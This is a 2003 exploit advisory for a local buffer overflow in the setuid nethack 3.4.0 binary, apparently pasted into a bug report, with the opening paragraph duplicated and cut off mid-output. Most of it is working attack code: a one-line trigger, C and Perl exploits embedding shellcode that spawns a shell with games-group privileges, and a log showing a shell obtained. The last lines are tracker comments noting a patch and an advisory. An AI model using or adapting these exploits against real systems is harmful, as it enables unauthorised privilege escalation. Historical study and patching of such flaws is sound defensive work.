#!ICadv-02.09.03: nethack 3.4.0 local buffer overflow From: tsao_4sh0@hushmail.com To: phc@hushmail.com, bugtraq@securityfocus.net, submit@packetstormsecurity.org Date: 2003-02-09 08.18 -----BEGIN PGP SIGNED MESSAGE----- ################################################### /usr/games/lib/nethackdir/nethack - LOCALLY EXPLOITABLE BUFFER try th1s: nethack -s `perl -e "print 'A' x 1000"` nethack.RPM package for redhat 8 is installed SETUID GAMES!@)~* ther pre compiled b1nz for come for Amiga, Atari, Linux, Mac, Msdos OS/2, Windows. br0 u can even dl source and own it on *BSD, System V, Solaris, HP-UX, BeOS and VMS! How tight is th1s w4r3z y0 thatz right, we can snatch games prives.. this are highly sought after privz.. with th1s we can do stuff like.. writing our own highscore files & such.. use it to impress your friends.. u will be the ULTIMATE NETHACKER! ch3ck th1s: [tsao@c:\ tmp]$ ./n 224 400 shellcode at 159->220 Using bffff6d8 Cannot find any current entries for )���۳ F�^FF V 1
#!ICadv-02.09.03: nethack 3.4.0 local buffer overflow From: tsao_4sh0@hushmail.com To: phc@hushmail.com, bugtraq@securityfocus.net, submit@packetstormsecurity.org Date: 2003-02-09 08.18 -----BEGIN PGP SIGNED MESSAGE----- ################################################### /usr/games/lib/nethackdir/nethack - LOCALLY EXPLOITABLE BUFFER try th1s: nethack -s `perl -e "print 'A' x 1000"` nethack.RPM package for redhat 8 is installed SETUID GAMES!@)~* ther pre compiled b1nz for come for Amiga, Atari, Linux, Mac, Msdos OS/2, Windows. br0 u can even dl source and own it on *BSD, System V, Solaris, HP-UX, BeOS and VMS! How tight is th1s w4r3z y0 thatz right, we can snatch games prives.. this are highly sought after privz.. with th1s we can do stuff like.. writing our own highscore files & such.. use it to impress your friends.. u will be the ULTIMATE NETHACKER! ch3ck th1s: [tsao@c:\ tmp]$ ./n 224 400 shellcode at 159->220 Using bffff6d8 Cannot find any current entries for )���۳ F�^FF V 1Û?��/bin/sh� Call is: nethack -s [-v] [-role] [maxrank] [playernames] sh-2.05b$ id uid=12(games) gid=500(tsao) groups=500(tsao) to all the people who think this is lame: ANY PRIVILEDGE ESCALATION IS BAD BUSINESS! greets: #!IC@EFNET / d4yj4y(lub yew bro.. thnx for help with C code) greets: The-Rev - that regedit question was da b0mb. bizz0mb. dis: #phrack@EFNET / the_ut -- I told you guys i was skilled & could code. Attached is a C & PERL exploit, this is incase you do not have a C compiler. I cover all the bases for u. stay tuned for ftpd/apache warez, im pumping out more 0day than the_ut pumpz out lame questionz to test my skillz.. p.s [tsao@c:\ tmp]# ssh -l tsao4sh0 phrack.ru -p 31337 [root@phc /]# WHOZ THE UNIX TERRORIST NOW ? p.p.s im gonna drop 7350 warez soon, year of the leak bitchez. p.p.p.s squashing bugz is fun! attached: nethacker.c / nethacker.pl <cut-me-here!!!!!!!! nethacker.c cut-me-here!!!!!!!> /* tsao@efnet #!IC@efnet 2k3 thnx to aleph1 for execve shellcode & davidicke for setreuid() shellcode */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> char code[] = "\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char **argv) { char *p; int i, off; p = malloc(sizeof(char) * atoi(argv[1])); memset(p,0x90,atoi(argv[1])); off = 220 - strlen(code); printf("shellcode at %d->%d\n",off,off+strlen(code)); for(i=0;i<atoi(argv[1]);i++) p[i+off] = code[i]; *(long *) &p[220] = sp() - atoi(argv[2]); printf("Using %x\n",sp() - atoi(argv[2])); execl("/usr/games/lib/nethackdir/nethack","nethack","-s",p,0); perror("wtf"); } <eof-nethacker.c!!!!!!! eof-nethacker.c!!!!!!> <cut-me-here nethacker.pl !!!!!! cut-me-here nethacker.pl!!!!> #!/usr/bin/perl -w # # tsao@efnet #!IC@efnet 2k3 # thnx to aleph1 for execve shellcode # davidicke for setreuid() shellcode $sc .= "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31\xc0\xb0\x46\xcd\x80\x31\xdb"; $sc .= "\x31\xc9\xb3\x0c\xb1\x0c\x31\xc0\xb0\x46\xcd\x80\xeb\x24\x5e\x8d\x1e\x89\x5e"; $sc .= "\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"; $sc .= "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff\x2f\x62"; $sc .= "\x69\x6e\x2f\x73\x68\x01"; for ($i = 0; $i < (224 - (length($sc)) - 4); $i++) { $buf .= "\x90"; } $buf .= $sc; $buf .= "\xd2\xf8\xff\xbf"; exec("/usr/games/lib/nethackdir/nethack -s '$buf'"); <eof-nethacker.pl!!!!! eof-nethacker.pl!!!!> tsao@efnet #!IC@efnet 2k3 tsao - owning ^ x.25 like none other.. fuq u jj -----BEGIN PGP SIGNATURE----- Version: Hush 2.2 (Java) Note: This signature can be verified at https://www.hushtools.com/verify wl4EARECAB4FAj5GANIXHHRzYW9fNHNoMEBodXNobWFpbC5jb20ACgkQj944mCS4M3Xk SgCgv5FJ4mn7EhQmO3kIKjiNHn8Ze9kAn2Bt46OsJepEYFlAlSe/ttoZiFpD =GlgW -----END PGP SIGNATURE----- Concerned about your privacy? Follow this link to get FREE encrypted email: https://www.hushmail.com/?l=2 Big $$$ to be made with the HushMail Affiliate Program: https://www.hushmail.com/about.php?subloc=affiliate&l=427
http://people.FreeBSD.org/~roam/devel/nethack/topten.c.patch
gotta love when people make 'leet' posts i'm dropping the severity because on Gentoo nethack is installed as games.games ...
glsa sent
